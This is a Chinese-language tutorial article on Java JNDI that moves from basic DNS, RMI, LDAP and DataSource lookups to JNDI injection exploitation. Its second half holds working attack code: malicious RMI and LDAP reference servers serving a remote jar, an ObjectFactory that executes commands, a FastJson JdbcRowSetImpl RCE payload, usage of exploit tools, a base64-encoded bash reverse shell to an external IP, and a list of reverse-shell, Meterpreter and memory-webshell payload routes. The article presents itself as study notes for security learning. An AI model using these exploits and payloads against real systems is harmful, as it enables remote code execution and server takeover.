Java基础之JNDI

admin 2024年3月25日09:36:10评论6 views字数 40920阅读136分24秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

JNDI介绍

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA
Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

更多JNDI相关概念参考:[Java技术回顾之JNDI:命名和目录服务基本概念](https://blog.csdn.net/ericxyy/article/details/2012287)

JNDI目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

使用JNDI创建目录服务对象代码片段:

// 创建环境变量对象Hashtable env = new Hashtable();// 设置JNDI初始化工厂类名env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");// 设置JNDI提供服务的URL地址env.put(Context.PROVIDER_URL, "url");// 创建JNDI目录服务对象DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

javax.naming.spi.InitialContextFactory:

package javax.naming.spi;public interface InitialContextFactory {    public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;}

JNDI-DNS解析

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代码片段:

package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory {  // 获取处理DNS的JNDI上下文对象  public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {    if (var1 == null) {      var1 = new Hashtable(5);    }    return urlToContext(getInitCtxUrl(var1), var1);  }  // 省去其他无关方法和变量}

使用JNDI解析DNS测试:

package com.anbai.sec.jndi;import javax.naming.Context;import javax.naming.NamingException;import javax.naming.directory.Attributes;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.util.Hashtable;/** * Creator: yz * Date: 2019/12/23 */public class DNSContextFactoryTest {   public static void main(String[] args) {      // 创建环境变量对象      Hashtable env = new Hashtable();      // 设置JNDI初始化工厂类名      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");      // 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址      env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");      try {         // 创建JNDI目录服务对象         DirContext context = new InitialDirContext(env);         // 获取DNS解析记录测试         Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});         Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});         System.out.println(attrs1);         System.out.println(attrs2);      } catch (NamingException e) {         e.printStackTrace();      }   }}
程序运行结果:
{a=A: 110.242.68.66, 39.156.66.10}
{a=A: 112.53.26.232, 111.30.144.71}

JNDI-RMI远程方法调用

RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动`RMI`服务:rmi.server.RMIServerTest,启动完成后就可以使用JNDI连接并调用了。

使用JNDI解析调用远程RMI方法测试:

package rmi.server;import rmi.server.RMITestInterface;import javax.naming.Context;import javax.naming.NamingException;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.rmi.RemoteException;import java.util.Hashtable;import static rmi.server.RMIServerTest.*;/** * Creator: yz * Date: 2019/12/24 */public class RMIRegistryContextFactoryTest {   public static void main(String[] args) {      String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;      // 创建环境变量对象      Hashtable env = new Hashtable();      // 设置JNDI初始化工厂类名      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");      // 设置JNDI提供服务的URL地址      env.put(Context.PROVIDER_URL, providerURL);      // 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo      try {         // 创建JNDI目录服务对象         DirContext context = new InitialDirContext(env);         // 通过命名服务查找远程RMI绑定的RMITestInterface对象         RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);         // 调用远程的RMITestInterface接口的test方法         String result = testInterface.test();         System.out.println(result);      } catch (NamingException e) {         e.printStackTrace();      } catch (RemoteException e) {         e.printStackTrace();      }   }}

程序执行结果:Hello RMI

JNDI-LDAP

LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。

使用JNDI创建LDAP连接测试

package com.anbai.sec.jndi;import javax.naming.Context;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.util.Hashtable;/** * Creator: yz * Date: 2019/12/24 */public class LDAPFactoryTest {   public static void main(String[] args) {      try {         // 设置用户LDAP登陆用户DN         String userDN = "cn=Manager,dc=javaweb,dc=org";         // 设置登陆用户密码         String password = "123456";         // 创建环境变量对象         Hashtable<String, Object> env = new Hashtable<String, Object>();         // 设置JNDI初始化工厂类名         env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");         // 设置JNDI提供服务的URL地址         env.put(Context.PROVIDER_URL, "ldap://localhost:389");         // 设置安全认证方式         env.put(Context.SECURITY_AUTHENTICATION, "simple");         // 设置用户信息         env.put(Context.SECURITY_PRINCIPAL, userDN);         // 设置用户密码         env.put(Context.SECURITY_CREDENTIALS, password);         // 创建LDAP连接         DirContext ctx = new InitialDirContext(env);        // 使用ctx可以查询或存储数据,此处省去业务代码         ctx.close();      } catch (Exception e) {         e.printStackTrace();      }   }}

JNDI-DataSource

JNDI连接数据源比较特殊,Java目前不提供内置的实现方法,提供数据源服务的多是Servlet容器,这里我们以Tomcat为例学习如何在应用服务中使用JNDI查找容器提供的数据源。

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:[Tomcat JNDI Datasource](https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html),这里我们在Tomcatconf/context.xml中添加如下配置:

<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"               maxTotal="100" maxIdle="30" maxWaitMillis="10000"               username="root" password="root" driverClassName="com.mysql.jdbc.Driver"               url="jdbc:mysql://localhost:3306/mysql"/>

然后我们需要下载好[Mysql的JDBC驱动包](https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar)并复制到Tomcatlib目录:

wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好数据源之后我们重启Tomcat服务就可以使用JNDI的方式获取DataSource了。

使用JNDI获取数据源并查询数据库测试:

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="javax.naming.Context" %><%@ page import="javax.naming.InitialContext" %><%@ page import="javax.sql.DataSource" %><%@ page import="java.sql.Connection" %><%@ page import="java.sql.ResultSet" %><%    // 初始化JNDIContext    Context context = new InitialContext();    // 搜索Tomcat注册的JNDI数据库连接池对象    DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");    // 获取数据库连接    Connection connection = dataSource.getConnection();    // 查询SQL语句并返回结果    ResultSet rs = connection.prepareStatement("select version()").executeQuery();    // 获取数据库查询结果    while (rs.next()) {        out.println(rs.getObject(1));    }    rs.close();%>

访问tomcat-datasource-lookup.jsp输出: 5.7.28,需要注意的是示例jsp中的Demo使用了系统的环境变量,所以并不需要在创建context的时候传入环境变量对象Tomcat在启动的时候会[设置JNDI变量信息](https://github.com/apache/tomcat/blob/407d805f1772ae1dd03b6ffbac03be83f55c406b/java/org/apache/catalina/startup/Catalina.java#L768),处理`JNDI`服务的类是org.apache.naming.java.javaURLContextFactory,所以在jsp中我们可以直接创建context

JNDI-协议转换‍‍‍‍

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI默认支持自动转换的协议有:

| 协议名称          |     协议URL     |     Context类                                            || -----------------| -------------- | --------------------------------------------------------|| DNS协议           | `dns://`       | `com.sun.jndi.url.dns.dnsURLContext`                    || RMI协议           | `rmi://`       | `com.sun.jndi.url.rmi.rmiURLContext`                    || LDAP协议          | `ldap://`      | `com.sun.jndi.url.ldap.ldapURLContext`                  || LDAP协议          | `ldaps://`     | `com.sun.jndi.url.ldaps.ldapsURLContextFactory`         || IIOP对象请求代理协议| `iiop://`      | `com.sun.jndi.url.iiop.iiopURLContext`                  || IIOP对象请求代理协议| `iiopname://`  | `com.sun.jndi.url.iiopname.iiopnameURLContextFactory`   || IIOP对象请求代理协议| `corbaname://` | `com.sun.jndi.url.corbaname.corbanameURLContextFactory` |

RMI示例代码片段:

// 创建JNDI目录服务上下文InitialContext context = new InitialContext();// 查找JNDI目录服务绑定的对象Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代码通过lookup会自动使用rmiURLContext处理RMI请求。

JNDI-Reference‍‍‍‍

JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引用安全限制‍‍
RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false
高版本JDK可参考:[如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/)
使用创建恶意的ObjectFactory对象
JNDI允许通过对象工厂(javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。
对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
ReferenceObjectFactory示例代码:
package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;/** * 引用对象创建工厂 */public class ReferenceObjectFactory implements ObjectFactory {    /**     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。     * @param env  创建对象时使用的环境(可能为 null)。     * @return 对象工厂创建出的对象     * @throws Exception 对象创建异常     */    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE        return Runtime.getRuntime().exec("curl localhost:9000");    }}
创建恶意的RMI服务
如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
包含恶意攻击的RMI服务端代码:
package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/** * Creator: yz * Date: 2019/12/25 */public class RMIReferenceServerTest {   public static void main(String[] args) {      try {         // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类         String url = "http://p2j.cn/tools/jndi-test.jar";         // 对象的工厂类名         String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";         // 监听RMI服务端口         LocateRegistry.createRegistry(RMI_PORT);         // 创建一个远程的JNDI对象工厂类的引用对象         Reference reference = new Reference(className, className, url);         // 转换为RMI引用对象         ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);         // 绑定一个恶意的Remote对象到RMI服务         Naming.bind(RMI_NAME, referenceWrapper);         System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);      } catch (Exception e) {         e.printStackTrace();      }   }}

程序运行结果:

RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。

使用nc监听端口:

nc -vv -l 9000

RMI客户端代码:‍‍

package com.anbai.sec.jndi.injection;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/** * Creator: yz * Date: 2019/12/25 */public class RMIReferenceClientTest {   public static void main(String[] args) {      try {//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释//       System.setProperty("java.rmi.server.useCodebaseOnly", "false");//       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");         InitialContext context = new InitialContext();         // 获取RMI绑定的恶意ReferenceWrapper对象         Object obj = context.lookup(RMI_NAME);         System.out.println(obj);      } catch (NamingException e) {         e.printStackTrace();      }   }}
程序运行结果:
Process[pid=8634, exitValue="not exited"]
客户端执行成功后可以在nc中看到来自客户端的curl请求:
GET / HTTP/1.1Host: localhost:9000User-Agent: curl/7.64.1Accept: */*
上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。
创建恶意的LDAP服务
LDAPRMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
包含恶意攻击的LDAP服务端代码:‍‍
package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPReferenceServerTest {   // 设置LDAP服务端口   public static final int SERVER_PORT = 3890;   // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0   public static final String BIND_HOST = "127.0.0.1";   // 设置一个实体名称   public static final String LDAP_ENTRY_NAME = "test";   // 获取LDAP服务地址   public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;   // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类   public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";   // 设置LDAP基底DN   private static final String LDAP_BASE = "dc=javasec,dc=org";   public static void main(String[] args) {      try {         // 创建LDAP配置对象         InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);         // 设置LDAP监听配置信息         config.setListenerConfigs(new InMemoryListenerConfig(               "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,               ServerSocketFactory.getDefault(), SocketFactory.getDefault(),               (SSLSocketFactory) SSLSocketFactory.getDefault())         );         // 添加自定义的LDAP操作拦截器         config.addInMemoryOperationInterceptor(new OperationInterceptor());         // 创建LDAP服务对象         InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);         // 启动服务         ds.startListening();         System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);      } catch (Exception e) {         e.printStackTrace();      }   }   private static class OperationInterceptor extends InMemoryOperationInterceptor {      @Override      public void processSearchResult(InMemoryInterceptedSearchResult result) {         String base  = result.getRequest().getBaseDN();         Entry  entry = new Entry(base);         try {            // 设置对象的工厂类名            String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";            entry.addAttribute("javaClassName", className);            entry.addAttribute("javaFactory", className);            // 设置远程的恶意引用对象的jar地址            entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);            // 设置LDAP objectClass            entry.addAttribute("objectClass", "javaNamingReference");            result.sendSearchEntry(entry);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));         } catch (Exception e1) {            e1.printStackTrace();         }      }   }}

程序运行结果:

LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test

LDAP客户端代码:

package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/** * Creator: yz * Date: 2019/12/27 */public class LDAPReferenceClientTest {   public static void main(String[] args) {      try {//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释//       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");         Context ctx = new InitialContext();         // 获取RMI绑定的恶意ReferenceWrapper对象         Object obj = ctx.lookup(LDAP_URL);         System.out.println(obj);      } catch (NamingException e) {         e.printStackTrace();      }   }}

程序运行结果:

java.lang.UNIXProcess@184f6be2

JNDI注入漏洞利用‍‍‍‍

2016年BlackHat大会上[us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)提到了包括RMILDAPCORBAJNDI注入方式攻击方式被广泛的利用于近年来的各种JNDI注入漏洞。
触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且`、lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。
示例代码:
import javax.naming.Contextimport javax.naming.InitialContextContext ctx = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = ctx.lookup("注入JNDI服务URL");

我们只需间接的找到调用了JNDIlookup方法的类且lookup URL可被我们恶意控制的后端接口或者服务即可利用。

FastJson反序列JNDI注入示例‍‍‍‍

比较典型的漏洞有FastJsonJNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE

JdbcRowSetImpl示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="com.sun.rowset.JdbcRowSetImpl" %><%    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();    jdbcRowSet.setDataSourceName(request.getParameter("url"));    jdbcRowSet.setAutoCommit(true);%>
假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:
1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
2. 反射调用setDataSourceName方法,设置JNDIURL
3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
4. 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
5. 执行恶意的类对象工厂方法实现RCE

FastJson JdbRowSetImpl Payload:

{    "@type": "com.sun.rowset.JdbcRowSetImpl",     "dataSourceName": "ldap://127.0.0.1:3890/test",     "autoCommit": "true"}

FastJson JNDI测试代码:

package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/** * Creator: yz * Date: 2019/12/28 */public class FastJsonRCETest {    public static void main(String[] args) {//            // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");        String json = "{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true" }";        Object obj = JSON.parse(json);        System.out.println(obj);    }}

程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:

GET / HTTP/1.1Host: localhost:9000User-Agent: curl/7.64.1Accept: */*

JDNI注入工具‍‍‍‍

jndi-injection-exploit
可执行程序为jar包,在命令行中运行以下命令:‍‍‍
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
常见用法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126'bash -i >& /dev/tcp/101.35.156.126/66 0>&1

其中:

 -C : 远程class文件中要执行的命令。

  (可选项 , 默认命令是mac下打开计算器,即”open /Applications/Calculator.app”)

-A : 服务器地址,可以是IP地址或者域名。(可选项 , 默认地址是第一个网卡地址)

注意:

- 要确保109913898180端口可用,不被其他程序占用,或者也可以在run.ServerStart类26~28行更改默认端口。

- 命令会被作为参数传入Runtime.getRuntime().exec(),所以需要确保命令传入exec()方法可执行。

 bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C “bash -c …”

JNDI

特点:满足不同需求,payload多

项目地址:https://github.com/su18/JNDI

介绍

本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。

本项目是基于 welk1n 的 [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit/),在此项目的基础服务框架上,重新编写了攻击利用代码,支持更多更强大的功能,并加入了多种方式进行回显的支持。

本项目为学习性项目,目前本人 Java 水平依然处于 hello world 的水平,建议各位师傅报着批判的眼光观看,不吝指导。‍‍‍

功能

本工具支持了利用 JNDI 注入构造多种恶意 payload,其中包括:

| 名称            | 功能                      | 简介                                  || -------------- | -------------------------| ------------------------------------- || BasicInfo      | 获取服务器基础信息           | 打印出 System.getProperties() 中的信息  || Command        | 命令执行                   | 反射调用 forkandexec 执行命令           || DataSourceHack | 获取Spring DataSource 明文 | 获取缓存在上下文中的 DataSource          || DirList        | 目录遍历                   | 使用 File 对象列目录                    || FileDelete     | 文件删除                   | 使用 File 对象删除文件                  || FileRead       | 文件读取                   | 使用 FileInputStream 读取文件          || FileWrite      | 文件写入                   | 使用 FileOutputStream 写文件           || SQL Query      | 执行SQL语句                | 使用 JDBC 发出查询                     || SSRF           | 访问内网应用                | 发送 HTTP 请求,并将结果返回             |

对于具体功能的构建比较简单,几乎就是正常的功能性编程,只不过部分功能使用了反射,可能不易于阅读。

对这部分功能实现有疑问的同学可以在 [Javasec](http://javasec.org/) 上找到相关的文章。

对于各项参数的配置使用了配置文件的方式,由于是在调用时会读取文件,并未将值进行缓存,所以可以随时修改配置文件中 payload 的值,无需重启服务。

除去基本功能,本工具加入了多种回显方式,使 JNDI 注入的结果能够返回,这样在研究或测试中可以更方便的看到结果,本攻击支持了如下回显方式:

| 名称           | 功能          | 简介                                  || ------------- | --------------| -------------------------------------|| ExceptionEcho | 报错回显       | throw 一个异常,message 是我们执行的结果  || OOBEcho       | 带外回显       | 向 dnslog 平台发送数据包携带执行结果       || TomcatEcho    | Tomcat 回显   | 通过 Tomcat 获取 response 将结果写入     || WebLogicEcho  | WebLogic 回显 | 通过 WebLogic 获取 response 将结果写入   |

有了这些功能,我们就可以把 JNDI 注入活活玩成 webshell

使用

使用源代码执行:

下载项目源代码:

git clone [email protected]:JosephTribbianni/JNDI.git

执行org.su18.server.ServerStartmain()方法,可以在控制台中看到启动消息。

使用jar文件执行:

在release下载打包好的文件,解压压缩包,确保配置文件与jar文件位于同一目录下,根据自定义需求修改端口号及其他配置项,运行jar文件:

java -jar JNDI-1.0-all.jar

查看生成的恶意类

可以使用org.su18.asm.frame.Frame类的main()方法生成.class文件进行查看。

执行后,会在项目根目录生成文件,使用任意手段decompile后可查看逻辑。

JNDIExploit

特点:payload多,有绕过模块,使用方便,可以直接执行命令。

Supported LADP Queries:* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.    ldap://0.0.0.0:1389/Basic/Dnslog/[domain]    ldap://0.0.0.0:1389/Basic/Command/[cmd]    ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]    ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported    ldap://0.0.0.0:1389/Basic/TomcatEcho    ldap://0.0.0.0:1389/Basic/SpringEcho    ldap://0.0.0.0:1389/Basic/WeblogicEcho    ldap://0.0.0.0:1389/Basic/TomcatMemshell1    ldap://0.0.0.0:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]    ldap://0.0.0.0:1389/Basic/TomcatMemshell3  /ateam  pass1024    ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024    ldap://0.0.0.0:1389/Basic/JettyMemshell    ldap://0.0.0.0:1389/Basic/WeblogicMemshell1    ldap://0.0.0.0:1389/Basic/WeblogicMemshell2    ldap://0.0.0.0:1389/Basic/JBossMemshell    ldap://0.0.0.0:1389/Basic/WebsphereMemshell    ldap://0.0.0.0:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.    ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho    ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho    ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho    ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells[+] TomcatBypass Queries    ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]    ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]    ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]    ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported    ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho    ldap://0.0.0.0:1389/TomcatBypass/SpringEcho    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3  /ateam  pass1024    ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024    ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell    ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port]  ---java/meterpreter/reverse_tcp[+] GroovyBypass Queries    ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]    ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queries    ldap://0.0.0.0:1389/WebsphereBypass/List/file=    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]    ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported    ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell    ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

header加上cmd传入命令即可。

jndi_tool

